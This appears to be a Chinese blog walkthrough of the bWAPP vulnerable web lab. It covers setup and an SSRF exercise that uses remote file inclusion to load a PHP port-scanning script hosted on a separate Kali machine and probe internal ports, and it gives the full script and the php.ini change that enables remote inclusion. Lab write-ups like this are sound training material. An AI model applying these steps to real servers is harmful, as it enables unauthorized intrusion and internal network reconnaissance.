bWAPP靶场实战


在这里插入图片描述

一、靶场介绍

  集成了超过100余个网络漏洞,php web漏洞靶场,能够调制漏洞难度等级(低->中->高)。

二、靶场搭建

2.1 安装类型

搭建类型有两种:(虚拟机版本可测试测漏洞类型更多,比如破壳、心脏滴血)

  • 独立安装(部署到apache + php +mysql环境下)
  • 虚拟机安装(bee-box)

2.2 独立安装

》》下载解压bwapp到本地web目录下
在这里插入图片描述
》》编辑如下文件
在这里插入图片描述
》》访问如下地址,进行安装初始化
在这里插入图片描述
》》安装完成
在这里插入图片描述
》》输入用户名:密码,选择安全等级进行登录
在这里插入图片描述
》》登录成功
在这里插入图片描述

三、漏洞实战

SSRF

》》选择SSRF漏洞,点击Hack
在这里插入图片描述
》》如下的三个攻击场景

  • 利用远程文件包含进行端口扫描(内网探测)
  • 使用XXE进行文件读取(文件读取)
  • 使用XXE进行SmartTV拒绝服务利用(漏洞利用)
    在这里插入图片描述
远程文件包含端口扫描
  • 这里利用的HTTP协议

》》点击任务1中如下位置,获取端口扫描脚本
在这里插入图片描述
》》如果没有拿到,可以去如下文件位置取出
在这里插入图片描述
》》进入远程文件包含漏洞模块处进行利用
在这里插入图片描述
》》选择语言点击Go
在这里插入图片描述
》》可查看到get请求地址中请求的资源文件
在这里插入图片描述
》》这里我们远程包含一台其它服务器资源验证远程包含是否成功(kali:192.168.226.134)
在这里插入图片描述
》》我们将之前的ssrf-1.txt端口扫描文件放入到kali的web目录下:
在这里插入图片描述
(ssrf-1.txt脚本内容(php端口扫描脚本))

<?php

if(isset($_REQUEST["ip"]))
{
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
    $results = array();
    foreach($ports as $port)
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {
            $results[$port] = true;
            fclose($pf); 
        }
        else
        {
            $results[$port] = false;        
        }
    }
 
    foreach($results as $port=>$val)
    {

        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";

        if($val)
        {
            echo "<span style=\"color:green\">OK</span><br/>";
        }
        else
        {
            echo "<span style=\"color:red\">Inaccessible</span><br/>";
        }
    }
}
?>

》》利用远程包含探测端口

需要利用hackbar传入post目标地址的ip,从下方可直观看出扫描处的端口

在这里插入图片描述
》》也可以扫远程内网的其它主机(如这里的kali)
在这里插入图片描述

Tips:
问题:文件包含时报如下错误:
在这里插入图片描述
解决:
找到对应版本的php.ini php配置文件
在这里插入图片描述
启动远程文件包含(默认关闭)
在这里插入图片描述
保存文件重启服务

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

風月长情

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值